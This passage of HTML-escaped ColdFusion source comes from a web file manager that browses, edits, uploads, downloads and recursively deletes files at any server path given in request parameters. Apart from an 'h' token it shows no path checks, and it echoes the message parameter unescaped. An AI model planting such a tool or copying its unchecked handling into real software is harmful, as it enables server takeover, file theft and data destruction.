              sDefault = &quot;#JSStringFormat(attributes.path)#&quot; + &quot;\\&quot; + sDir;<br>

              var sPathNew = prompt(&quot;Synchronize \&quot;&quot; + sDefault + &quot;\&quot; to:&quot;,sDefault);<br>

              var bOverwriteAll = 0;<br>

              if (sPathNew != null &amp;&amp; sPathNew != &quot;&quot; &amp;&amp; sPathNew != sDefault){<br>

              if (confirm(&quot;Do yout want to overwrite all files?\nOK: copy all files.\nCancel: copy new and modified files.&quot;)) bOverwriteAll = 1;<br>

              window.location.href=&quot;?fuseaction=syncDir&amp;path=&quot; + sDefault + &quot;&amp;pathNew=&quot; + sPathNew + &quot;&amp;overwriteall=&quot; + bOverwriteAll + &quot;&amp;h=#attributes.h#&quot;;<br>

              }<br>

              }<br>

              function deleteFile(sFile){<br>

              if (confirm(&quot;Delete \&quot;&quot; + sFile + &quot;\&quot;?&quot;))window.location.href=&quot;?fuseaction=deletefi le&amp;path=#JSStringFormat(attributes.path)#&amp;file=&quot; + sFile + &quot;&amp;h=#attributes.h#&quot;;<br>

              }<br>

              function deleteDir(sDir){<br>

              if (confirm(&quot;Delete \&quot;&quot; + sDir + &quot;\&quot;?&quot;))window.location.href=&quot;?fuseaction=deletedi r&amp;path=#JSStringFormat(attributes.path)#&amp;dir=&quot; + sDir + &quot;&amp;h=#attributes.h#&quot;;<br>

              }<br>

              function showNextUpload(n){<br>

              document.getElementById(&quot;fileUpload&quot; + n).style.display='';<br>

              document.getElementById(&quot;submitUpload&quot;).style.display= '';<br>

              }<br>

              &lt;/script&gt;<br>

              &lt;cfif isDefined(&quot;attributes.msg&quot;)&gt;<br>

              &lt;h4 style=&quot;color:#iif(findNoCase(&quot;error&quot;,attributes.msg),& quot;'red'&quot;,&quot;'green'&quot;)#&quot;&gt;#attributes.msg#&lt;/h 4&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfif len(attributes.path) gt 1&gt;<br>

              &lt;cfset attributes.parentpath = listDeleteAt(attributes.path,listLen(attributes.path,attributes.delim iter),attributes.delimiter)&gt;<br>

              &lt;cfelse&gt;<br>

              &lt;cfset attributes.parentpath = &quot;&quot;&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;table style=&quot;border:1 solid black&quot;&gt;<br>

              &lt;form action=&quot;?&quot; method=&quot;post&quot;&gt;<br>

              &lt;input type=&quot;hidden&quot; name=&quot;h&quot; value=&quot;#attributes.h#&quot;&gt;<br>

              &lt;tr&gt;<br>

              &lt;td width=&quot;100&quot;&gt;Parent:&lt;/td&gt;<br>

              &lt;td&gt;&lt;a href=&quot;?path=#attributes.parentpath#&amp;h=#attributes.h#&quot;&g t;#attributes.parentpath#&lt;/a&gt;&lt;/td&gt;<br>

              &lt;/tr&gt;<br>

              &lt;tr&gt;<br>

              &lt;td valign=&quot;top&quot;&gt;Path:&lt;/td&gt;<br>

              &lt;td&gt;<br>

              &lt;input type=&quot;text&quot; name=&quot;path&quot; value=&quot;#attributes.path#&quot; style=&quot;font-weight:bold&quot; size=&quot;100&quot;&gt;&amp;nbsp;<br>

              &lt;input type=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;button&quot;&gt;&lt;br&gt;<br>

              &lt;button style=&quot;width:150&quot; onclick=&quot;addDir()&quot;&gt;Create a folder&lt;/button&gt;&amp;nbsp;<br>

              &lt;button style=&quot;width:150&quot; onclick=&quot;addFile()&quot;&gt;Create a file&lt;/button&gt;<br>

              &lt;/td&gt;<br>

              &lt;/tr&gt;<br>

              &lt;/form&gt;<br>

              &lt;form action=&quot;?&quot; method=&quot;post&quot;&gt;<br>

              &lt;input type=&quot;hidden&quot; name=&quot;h&quot; value=&quot;#attributes.h#&quot;&gt;<br>

              &lt;input type=&quot;hidden&quot; name=&quot;fuseaction&quot; value=&quot;search&quot;&gt;<br>

              &lt;input type=&quot;hidden&quot; name=&quot;path&quot; value=&quot;#attributes.path#&quot;&gt;<br>

              &lt;tr&gt;<br>

              &lt;td&gt;Search:&lt;/td&gt;<br>

              &lt;td&gt;&lt;span style=&quot;width:150&quot;&gt;File/folder name (RE):&lt;/span&gt;&lt;input type=&quot;text&quot; name=&quot;searchname&quot; size=&quot;70&quot; value=&quot;#attributes.searchname#&quot;&gt;&lt;/td&gt;<br>

              &lt;/tr&gt;<br>

              &lt;tr&gt;<br>

              &lt;td&gt;&amp;nbsp;&lt;/td&gt;<br>

              &lt;td&gt;&lt;span style=&quot;width:150&quot;&gt;Containg text (RE):&lt;/span&gt;&lt;input type=&quot;text&quot; name=&quot;searchtext&quot; size=&quot;70&quot; value=&quot;#attributes.searchtext#&quot;&gt;&lt;/td&gt;<br>

              &lt;/tr&gt;<br>

              &lt;tr&gt;<br>

              &lt;td&gt;&amp;nbsp;&lt;/td&gt;<br>

              &lt;td&gt;<br>

              Recursive &lt;input type=&quot;checkbox&quot; name=&quot;recursive&quot; value=&quot;1&quot; #iif(attributes.recursive,&quot;'checked'&quot;,&quot;''&quot;)#&gt;& amp;nbsp;<br>

              Max. result &lt;select name=&quot;maxsearchresult&quot;&gt;<br>

              &lt;option value=&quot;1&quot; #iif(attributes.maxsearchresult eq 1,&quot;'SELECTED'&quot;,&quot;''&quot;)#&gt;1&lt;/option&gt;<br>

              &lt;option value=&quot;5&quot; #iif(attributes.maxsearchresult eq 5,&quot;'SELECTED'&quot;,&quot;''&quot;)#&gt;5&lt;/option&gt;<br>

              &lt;option value=&quot;10&quot; #iif(attributes.maxsearchresult eq 10,&quot;'SELECTED'&quot;,&quot;''&quot;)#&gt;10&lt;/option&gt;<br>

              &lt;option value=&quot;50&quot; #iif(attributes.maxsearchresult eq 50,&quot;'SELECTED'&quot;,&quot;''&quot;)#&gt;50&lt;/option&gt;<br>

              &lt;option value=&quot;100&quot; #iif(attributes.maxsearchresult eq 100,&quot;'SELECTED'&quot;,&quot;''&quot;)#&gt;100&lt;/option&gt;<br>

              &lt;/select&gt;<br>

              &lt;input type=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;button&quot;&gt;&lt;/td&gt;<br>

              &lt;/tr&gt;<br>

              &lt;/form&gt;<br>

              &lt;form action=&quot;?&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;<br>

              &lt;input type=&quot;hidden&quot; name=&quot;h&quot; value=&quot;#attributes.h#&quot;&gt;<br>

              &lt;input type=&quot;hidden&quot; name=&quot;fuseaction&quot; value=&quot;upload&quot;&gt;<br>

              &lt;input type=&quot;hidden&quot; name=&quot;path&quot; value=&quot;#attributes.path#&quot;&gt;<br>

              &lt;tr&gt;<br>

              &lt;td valign=&quot;top&quot;&gt;Upload:&lt;/td&gt;<br>

              &lt;td&gt;<br>

              &lt;span style=&quot;width:20&quot;&gt;1.&lt;/span&gt;&lt;input type=&quot;File&quot; name=&quot;file1&quot; size=&quot;70&quot; onchange=&quot;showNextUpload(2)&quot;&gt;<br>

              &lt;input type=&quot;checkbox&quot; name=&quot;overwrite1&quot;&gt;Overwrite<br>

              &lt;cfloop index=&quot;i&quot; from=&quot;2&quot; to=&quot;#attributes.nbrOfUpload#&quot;&gt;<br>

              &lt;div id=&quot;fileUpload#i#&quot; style=&quot;display:'none'&quot;&gt;<br>

              &lt;span style=&quot;width:20&quot;&gt;#i#.&lt;/span&gt;&lt;input type=&quot;File&quot; name=&quot;file#i#&quot; size=&quot;70&quot; onchange=&quot;showNextUpload(#i+1#)&quot;&gt;<br>

              &lt;input type=&quot;checkbox&quot; name=&quot;overwrite#i#&quot;&gt;Overwrite<br>

              &lt;/div&gt;<br>

              &lt;/cfloop&gt;<br>

              &lt;input type=&quot;submit&quot; value=&quot;Upload&quot; name=&quot;submitUpload&quot; class=&quot;button&quot; style=&quot;display:'none'&quot;&gt;<br>

              &lt;/td&gt;<br>

              &lt;/tr&gt;<br>

              &lt;/form&gt;<br>

              &lt;/table&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;cfflush&gt;<br>

              &lt;cfif not isDefined(&quot;attributes.getDir&quot;)&gt;<br>

              &lt;cfdirectory action=&quot;LIST&quot; directory=&quot;#attributes.path#&quot; name=&quot;attributes.getDir&quot;&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;br&gt;<br>

              &lt;table style=&quot;border:1 solid black&quot;&gt;<br>

              &lt;tr bgcolor=&quot;#c0c0c0&quot;&gt;<br>

              &lt;th&gt;&amp;nbsp;&lt;/th&gt;<br>

              &lt;cfset colspan = 1&gt;<br>

              &lt;cfif attributes.showpath&gt;<br>

              &lt;cfset colspan = 2&gt;<br>

              &lt;th&gt;Path&lt;/th&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;th&gt;Name&lt;/th&gt;<br>

              &lt;th&gt;Actions&lt;/th&gt;<br>

              &lt;th&gt;Size&lt;/th&gt;<br>

              &lt;th&gt;Attr.&lt;/th&gt;<br>

              &lt;th&gt;Modif. date&lt;/th&gt;<br>

              &lt;/tr&gt;<br>

              &lt;cfoutput&gt; <br>

              &lt;tr&gt;<br>

              &lt;td colspan=&quot;#colspan#&quot;&gt;&lt;hr size=&quot;1&quot;&gt;&lt;/td&gt;<br>

              &lt;td align=&quot;center&quot;&gt;&lt;b&gt;F o l d e r s&lt;/b&gt;&lt;/td&gt;<br>

              &lt;td colspan=&quot;10&quot;&gt;&lt;hr size=&quot;1&quot;&gt;&lt;/td&gt;<br>

              &lt;/tr&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;cfset i = 0&gt;<br>

              &lt;cfoutput query=&quot;attributes.getDir&quot;&gt;<br>

              &lt;cfif type eq &quot;dir&quot; and name neq &quot;.&quot; and name neq &quot;..&quot;&gt;<br>

              &lt;cfset i = i + 1&gt;<br>

              &lt;tr bgcolor=&quot;#iif(evaluate(i Mod 2),&quot;'F2F2F2'&quot;,&quot;'EFEFE2'&quot;)#&quot;&gt;<br>

              &lt;td&gt;#i#.&lt;/td&gt;<br>

              &lt;cfif attributes.showpath&gt;<br>

              &lt;td&gt;&lt;a href=&quot;?path=#path#&amp;h=#attributes.h#&quot; style=&quot;text-decoration:none&quot;&gt;#path#&lt;/a&gt;&lt;/td&gt; <br>

              &lt;td&gt;&lt;a href=&quot;?path=#path##attributes.delimiter##name#&amp;h=#attributes .h#&quot; style=&quot;text-decoration:none&quot;&gt;&lt;b&gt;#name#&lt;/b&gt;&l t;/a&gt;&lt;/td&gt;<br>

              &lt;td&gt;&lt;a onclick=&quot;window.location.href='?path=#JSStringFormat(&quot;#path ##attributes.delimiter##name#&amp;h=#attributes.h#&quot;)#'&quot; class=&quot;button&quot;&gt;Open&lt;/a&gt;&lt;/td&gt;<br>

              &lt;cfelse&gt;<br>

              &lt;td&gt;&lt;a href=&quot;?path=#attributes.path##attributes.delimiter##name#&amp;h= #attributes.h#&quot; style=&quot;text-decoration:none&quot;&gt;&lt;b&gt;#name#&lt;/b&gt;&l t;/a&gt;&lt;/td&gt;<br>

              &lt;td&gt;<br>

              &lt;a onclick=&quot;window.location.href='?path=#JSStringFormat(attributes. path &amp; attributes.delimiter)##name#&amp;h=#attributes.h#'&quot; class=&quot;button&quot;&gt;Open&lt;/a&gt;<br>

              &lt;a onclick=&quot;renameDir('#name#')&quot; class=&quot;button&quot;&gt;Rename&lt;/a&gt;<br>

              &lt;a onclick=&quot;copyDir('#name#')&quot; class=&quot;button&quot;&gt;Copy&lt;/a&gt;<br>

              &lt;a onclick=&quot;moveDir('#name#')&quot; class=&quot;button&quot;&gt;Move&lt;/a&gt;<br>

              &lt;a onclick=&quot;deleteDir('#name#')&quot; class=&quot;button&quot; style=&quot;color:red&quot;&gt;Delete&lt;/a&gt;<br>

              &lt;a onclick=&quot;syncDir('#name#')&quot; class=&quot;button&quot;&gt;Sync.&lt;/a&gt;<br>

              &lt;/td&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;td&gt;&amp;nbsp;&lt;/td&gt;<br>

              &lt;td&gt;#ATTRIBUTES#&amp;nbsp;&lt;/td&gt;<br>

              &lt;td&gt;#DATELASTMODIFIED#&lt;/td&gt;<br>

              &lt;/tr&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfoutput&gt; <br>

              &lt;cfoutput&gt;<br>

              &lt;tr&gt;<br>

              &lt;td colspan=&quot;#colspan#&quot;&gt;&lt;hr size=&quot;1&quot;&gt;&lt;/td&gt;<br>

              &lt;td align=&quot;center&quot;&gt;&lt;b&gt;F i l e s&lt;/b&gt;&lt;/td&gt;<br>

              &lt;td colspan=&quot;10&quot;&gt;&lt;hr size=&quot;1&quot;&gt;&lt;/td&gt;<br>

              &lt;/tr&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;cfoutput query=&quot;attributes.getDir&quot;&gt;<br>

              &lt;cfif type eq &quot;file&quot;&gt;<br>

              &lt;cfset i = i + 1&gt;<br>

              &lt;tr bgcolor=&quot;#iif(evaluate(i Mod 2),&quot;'F2F2F2'&quot;,&quot;'EFEFE2'&quot;)#&quot;&gt;<br>

              &lt;td&gt;#i#.&lt;/td&gt;<br>

              &lt;cfif attributes.showpath&gt;<br>

              &lt;td&gt;&lt;a href=&quot;?path=#path#&amp;h=#attributes.h#&quot; style=&quot;text-decoration:none&quot;&gt;#path#&lt;/a&gt;&lt;/td&gt; <br>

              &lt;td&gt;&lt;a href=&quot;?fuseaction=download&amp;path=#path#&amp;file=#name#&amp;h =#attributes.h#&quot; style=&quot;text-decoration:none&quot;&gt;&lt;b&gt;#name#&lt;/b&gt;&l t;/a&gt;&lt;/td&gt;<br>

              &lt;cfif attributes.editExtensions eq &quot;ALL&quot; or listFindNoCase(attributes.editExtensions,listLast(name,&quot;.&quot;) )&gt;<br>

              &lt;td&gt;<br>

              &lt;a onclick=&quot;window.location.href='?fuseaction=edit&amp;path=#JSStri ngFormat(path)#&amp;h=#attributes.h#&amp;file=#name#'&quot; class=&quot;button&quot;&gt;Edit&lt;/a&gt;<br>

              &lt;a onclick=&quot;window.location.href='?fuseaction=download&amp;path=#JS StringFormat(path)#&amp;h=#attributes.h#&amp;file=#name#'&quot; class=&quot;button&quot;&gt;Down.&lt;/a&gt;<br>

              &lt;/td&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfelse&gt;<br>

              &lt;td&gt;&lt;a href=&quot;?fuseaction=download&amp;path=#attributes.path#&amp;file=# name#&amp;h=#attributes.h#&quot; style=&quot;text-decoration:none&quot;&gt;#name#&lt;/a&gt;&lt;/td&gt; <br>

              &lt;td&gt;<br>

              &lt;a onclick=&quot;window.location.href='?fuseaction=download&amp;path=#JS StringFormat(attributes.path)#&amp;h=#attributes.h#&amp;file=#name#'&q uot; class=&quot;button&quot;&gt;Down.&lt;/a&gt;<br>

              &lt;a onclick=&quot;renameFile('#name#')&quot; class=&quot;button&quot;&gt;Rename&lt;/a&gt;<br>

              &lt;a onclick=&quot;copyFile('#name#')&quot; class=&quot;button&quot;&gt;Copy&lt;/a&gt;<br>

              &lt;a onclick=&quot;moveFile('#name#')&quot; class=&quot;button&quot;&gt;Move&lt;/a&gt;<br>

              &lt;a onclick=&quot;deleteFile('#name#')&quot; class=&quot;button&quot; style=&quot;color:red&quot;&gt;Delete&lt;/a&gt;<br>

              &lt;cfif attributes.editExtensions eq &quot;ALL&quot; or listFindNoCase(attributes.editExtensions,listLast(name,&quot;.&quot;) )&gt;<br>

              &lt;a onclick=&quot;window.location.href='?fuseaction=edit&amp;path=#JSStri ngFormat(attributes.path)#&amp;h=#attributes.h#&amp;file=#name#'&quot; class=&quot;button&quot;&gt;Edit&lt;/a&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfif Find(&quot;R&quot;,attributes)&gt;<br>

              &lt;a onclick=&quot;window.location.href='?fuseaction=removeR&amp;path=#JSS tringFormat(attributes.path)#&amp;file=#name#&amp;fileNew=#name#&amp;h =#attributes.h#'&quot; class=&quot;button&quot;&gt;Rem RO&lt;/a&gt; <br>

              &lt;/cfif&gt;<br>

              &lt;/td&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;td align=&quot;right&quot;&gt;#numberFormat(size)# B&lt;/td&gt;<br>

              &lt;td&gt;#ATTRIBUTES#&amp;nbsp;&lt;/td&gt;<br>

              &lt;td&gt;#DATELASTMODIFIED#&lt;/td&gt;<br>

              &lt;/tr&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;/table&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;edit&quot;&gt;<br>

              &lt;cfoutput&gt;&lt;title&gt;FileManager: #attributes.file#&lt;/title&gt;&lt;/cfoutput&gt;<br>

              &lt;cffile action=&quot;READ&quot; file=&quot;#attributes.path##attributes.delimiter##attributes.file#&q uot; variable=&quot;filecontent&quot;&gt;<br>

              &lt;cfdirectory action=&quot;LIST&quot; directory=&quot;#attributes.path##attributes.delimiter#&quot; filter=&quot;#attributes.file#&quot; name=&quot;getFile&quot;&gt;<br>

              &lt;cfif findNoCase(&quot;R&quot;,getFile.attributes[1])&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;div&gt;<br>

              &lt;span style=&quot;color:red;font-weight:bold&quot;&gt;This file is READ-ONLY&lt;/span&gt;<br>

              &amp;nbsp;&lt;button onclick=&quot;window.location.href='?fuseaction=removeR&amp;path=#JSS tringFormat(attributes.path)#&amp;file=#attributes.file#&amp;fileNew=# attributes.file#&amp;after=edit&amp;h=#attributes.h#'&quot; style=&quot;width:150&quot;&gt;Remove Read-Only&lt;/button&gt; <br>

              &amp;nbsp;&lt;button onclick=&quot;history.back()&quot;&gt;Back&lt;/button&gt;<br>

              &lt;/div&gt;<br>

              &lt;pre style=&quot;width:100%;height:95%;border:2 solid black&quot;&gt;#htmlEditFormat(filecontent)#&lt;/pre&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;cfelse&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;form action=&quot;?&quot; method=&quot;post&quot;&gt;<br>

              &lt;input type=&quot;submit&quot; value=&quot;Save Back&quot; style=&quot;width:100&quot; class=&quot;button&quot;&gt; <br>

              &lt;input type=&quot;submit&quot; value=&quot;Save&quot; onclick=&quot;document.all.fuseactionNext.value='edit'&quot; class=&quot;button&quot;&gt;&amp;nbsp;<br>

              &lt;button onclick=&quot;window.location.href='?path=#JSStringFormat(attributes. path)#&amp;h=#attributes.h#&amp;file=#attributes.file#'&quot;&gt;Cance l&lt;/button&gt;<br>

              Size: #numberFormat(getFile.size)#B | Date: #getFile.dateLastModified#<br>

              &lt;input type=&quot;hidden&quot; name=&quot;h&quot; value=&quot;#attributes.h#&quot;&gt;<br>

              &lt;input type=&quot;hidden&quot; name=&quot;fuseaction&quot; value=&quot;write&quot;&gt;<br>

              &lt;input type=&quot;hidden&quot; name=&quot;fuseactionNext&quot; value=&quot;home&quot;&gt;<br>

              &lt;input type=&quot;hidden&quot; name=&quot;path&quot; value=&quot;#attributes.path#&quot;&gt;<br>

              &lt;input type=&quot;hidden&quot; name=&quot;file&quot; value=&quot;#attributes.file#&quot;&gt;<br>

              &lt;textarea style=&quot;width:100%;height:95%&quot; name=&quot;fileNewContent&quot; style=&quot;font-size:11px&quot;&gt;#htmlEditFormat(filecontent)#&lt; /textarea&gt;<br>

              &lt;div&gt;<br>

              &lt;input type=&quot;submit&quot; value=&quot;Save Back&quot; style=&quot;width:100&quot; class=&quot;button&quot;&gt;<br>

              &lt;input type=&quot;submit&quot; value=&quot;Save&quot; onclick=&quot;document.all.fuseactionNext.value='edit'&quot; class=&quot;button&quot;&gt;&amp;nbsp;<br>

              &lt;button onclick=&quot;window.location.href='?path=#JSStringFormat(attributes. path)#&amp;h=#attributes.h#&amp;file=#attributes.file#'&quot;&gt;Cance l&lt;/button&gt;<br>

              &lt;/div&gt;<br>

              &lt;/form&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;write&quot;&gt;<br>

              &lt;cftry&gt; <br>

              &lt;cffile action=&quot;DELETE&quot; file=&quot;#attributes.path##attributes.delimiter##attributes.file#&q uot;&gt;<br>

              &lt;cffile action=&quot;WRITE&quot; file=&quot;#attributes.path##attributes.delimiter##attributes.file#&q uot; output=&quot;#attributes.fileNewContent#&quot; addnewline=&quot;No&quot;&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;fuseaction=#attributes.fuseactionNext #&amp;file=#attributes.file#&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;cfcatch&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=Error while updating file!&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;/cfcatch&gt;<br>

              &lt;/cftry&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;upload&quot;&gt;<br>

              &lt;cfset msg = &quot;Upload Result:&quot;&gt;<br>

              &lt;cfloop index=&quot;i&quot; from=&quot;1&quot; to=&quot;#attributes.nbrOfUpload#&quot;&gt;<br>

              &lt;cfif form[&quot;file#i#&quot;] neq &quot;&quot;&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cffile action=&quot;UPLOAD&quot;<br>

              filefield=&quot;form.file#i#&quot; <br>

              destination=&quot;#attributes.path#&quot;<br>

              nameconflict=&quot;#iif(isDefined(&quot;attributes.overwrite#i#& quot;),&quot;'OVERWRITE'&quot;,&quot;'Error'&quot;)#&quot;&gt;<br>

              &lt;cfset msg = &quot;#msg#\n - File #i#: OK&quot;&gt;<br>

              &lt;cfcatch&gt;<br>

              &lt;cfset msg = &quot;#msg#\n - File #i#: ERROR&quot;&gt;<br>

              &lt;/cfcatch&gt; <br>

              &lt;/cftry&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfloop&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;download&quot;&gt;<br>

              &lt;cfheader name=&quot;Content-disposition&quot; value=&quot;attachment; filename=#attributes.file#&quot;&gt;<br>

              &lt;cfcontent file=&quot;#attributes.path##attributes.delimiter##attributes.File#&q uot;&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;deleteFile&quot;&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cffile action=&quot;delete&quot; file=&quot;#attributes.path##attributes.delimiter##attributes.file#&q uot;&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=File deleted!&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;cfcatch&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=Error: file not deleted!&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;/cfcatch&gt;<br>

              &lt;/cftry&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;deleteDir&quot;&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cfdirectory action=&quot;DELETE&quot; directory=&quot;#attributes.path##attributes.delimiter##attributes.di r#&quot;&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=Folder deleted!&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;cfcatch&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;fuseaction=deletedirRecursiveConfirm& amp;dir=#attributes.dir#&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;/cfcatch&gt;<br>

              &lt;/cftry&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;deleteDirRecursiveConfirm&quot;&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;script&gt;<br>

              if(confirm(&quot;Folder not deleted. It may contains files or folders.\nTry recursive delete?&quot;)) window.location.href=&quot;?fuseaction=deletedirRecursive&amp;path=#j sStringFormat(attributes.path)#&amp;dir=#jsStringFormat(attributes.dir )#&amp;h=#attributes.h#&quot;;<br>

              else window.location.href=&quot;?path=#jsStringFormat(attributes.path)#&am p;h=#attributes.h#&quot;;<br>

              &lt;/script&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;deleteDirRecursive&quot;&gt;<br>

              &lt;cfdirectory action=&quot;LIST&quot; name=&quot;attributes.getDir&quot; directory=&quot;#attributes.path##attributes.delimiter##attributes.di r#&quot;&gt;<br>

              &lt;cfoutput&gt;&lt;h3&gt;#attributes.path##attributes.delimiter ##attributes.dir#&lt;/h3&gt;&lt;/cfoutput&gt;<br>

              &lt;!--- Delete files ---&gt;<br>

              &lt;cfloop query=&quot;attributes.getDir&quot;&gt;<br>

              &lt;cfif type eq &quot;file&quot;&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cffile action=&quot;delete&quot; file=&quot;#attributes.path##attributes.delimiter##attributes.dir##at tributes.delimiter##name#&quot;&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;div&gt;<br>

              &lt;span style=&quot;width:100&quot;&gt;FILE:&lt;/span&gt;<br>

              #attributes.path##attributes.delimiter##attributes.dir##attribut es.delimiter#&lt;b&gt;#name#&lt;/b&gt;<br>

              &lt;/div&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;cfcatch/&gt;<br>

              &lt;/cftry&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfloop&gt;<br>

              &lt;!--- Delete sub-folder ---&gt;<br>

              &lt;cfloop query=&quot;attributes.getDir&quot;&gt;<br>

              &lt;cfif type eq &quot;dir&quot;&gt;<br>

              &lt;cfmodule template=&quot;#attributes.thisModule#&quot;<br>

              fuseaction=&quot;deleteDirRecursive&quot;<br>

              h=&quot;#attributes.H#&quot;<br>

              path=&quot;#attributes.path##attributes.delimiter##attributes.di r#&quot;<br>

              dir=&quot;#name#&quot;<br>

              relocate=&quot;0&quot;&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfloop&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cfdirectory action=&quot;DELETE&quot; directory=&quot;#attributes.path##attributes.delimiter##attributes.di r#&quot;&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;div&gt;<br>

              &lt;span style=&quot;width:100&quot;&gt;FOLDER:&lt;/span&gt;<br>

              #attributes.path##attributes.delimiter#&lt;b&gt;#attributes.dir# &lt;/b&gt;<br>

              &lt;/div&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;cfcatch/&gt;<br>

              &lt;/cftry&gt;<br>

              &lt;cfflush&gt;<br>

              &lt;cfif attributes.relocate&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;button name=&quot;fileManagerButton&quot; style=&quot;width:700&quot; onclick=&quot;window.location.href='?h=#attributes.H#&amp;path=#jsStr ingFormat(attributes.path)#'&quot;&gt;Deletion done! Back to &lt;b&gt;#attributes.path#&lt;/b&gt;&lt;/button&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;addDir&quot;&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cfdirectory action=&quot;CREATE&quot; directory=&quot;#attributes.path##attributes.delimiter##attributes.di rNew#&quot;&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=Folder created!&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;cfcatch&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=Error: folder not created!&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;/cfcatch&gt;<br>

              &lt;/cftry&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;addFile&quot;&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cffile action=&quot;WRITE&quot; file=&quot;#attributes.path##attributes.delimiter##attributes.fileNew #&quot; output=&quot;&quot;&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=File created!&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;cfcatch&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=Error: file not created!&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;/cfcatch&gt;<br>

              &lt;/cftry&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;copyFile&quot;&gt;<br>

              &lt;cfif fileExists(&quot;#attributes.pathNew#&quot;)&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;script&gt;<br>

              alert(&quot;This file already exists!&quot;);<br>

              history.back();<br>

              &lt;/script&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;cfabort&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cfset pathTry = listDeleteAt(attributes.pathNew,listLen(attributes.pathNew,&quot;/\&q uot;),&quot;/\&quot;)&gt;<br>

              &lt;cfdirectory action=&quot;CREATE&quot; directory=&quot;#pathTry#&quot;&gt;<br>

              &lt;cfcatch/&gt;<br>

              &lt;/cftry&gt;<br>

              &lt;cftry&gt;<br>

              &lt;cffile action=&quot;COPY&quot; source=&quot;#attributes.path##attributes.delimiter##attributes.file# &quot; <br>

              destination=&quot;#attributes.pathNew#&quot;&gt;<br>

              &lt;cfif attributes.relocate&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=File copied!&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfcatch&gt;<br>

              &lt;cfif attributes.relocate&gt;<br>

              &lt;cfoutput&gt;#loc(&quot;msg=Error: file not copied&quot;, attributes.relocate)#&lt;/cfoutput&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfcatch&gt;<br>

              &lt;/cftry&gt;<br>

